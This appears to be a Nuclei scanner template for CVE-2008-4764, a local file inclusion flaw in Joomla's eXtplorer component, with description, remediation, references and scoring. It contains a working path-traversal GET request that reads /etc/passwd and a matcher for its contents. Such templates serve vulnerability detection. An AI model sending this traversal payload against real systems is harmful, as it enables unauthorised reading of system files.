id: CVE-2008-4764 info: name: Joomla! <=2.0.0 RC2 - Local File Inclusion author: daffainfo severity: medium description: Joomla! 2.0.0 RC2 and earlier are susceptible to local file inclusion in the eXtplorer module (com_extplorer) that allows remote attackers to read arbitrary files via a .. (dot dot) in the dir parameter in a show_error action. remediation: | Upgrade Joomla! to a version higher than 2.0.0 RC2 to mitigate the vulnerability. reference: - https://www.exploit-db.com/exploits/5435 - https://exchange.xforce.ibmcloud.com/vulnerabilities/41873 - https://nvd.nist.gov/vuln/detail/CVE-2008-4764 - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N cvss-score: 5 cve-id: CVE-2008-4764 cwe-id: CWE-22 epss-score: 0.02135 epss-percentile: 0.89239 cpe: cpe:2.3:a:extplorer:com_extplorer:*:rc2:*:*:*:*:*:* metadata: max-request: 1 vendor: extplorer product: com_extplorer tags: cve,cve2008,edb,joomla,lfi,extplorer http: - method: GET path: - "{{BaseURL}}/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc%2Fpasswd" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4a0a0047304502210083dfc3a90c4bb3aaa2d1d85bd0eb23154e4019210fc591e51f0bded1afc7a70202205d2c129a1bb23b903372e64284d8830eabe2e9eb96e0eb5afa05c6d444afc686:922c64590222798bb761d5b6d8e72950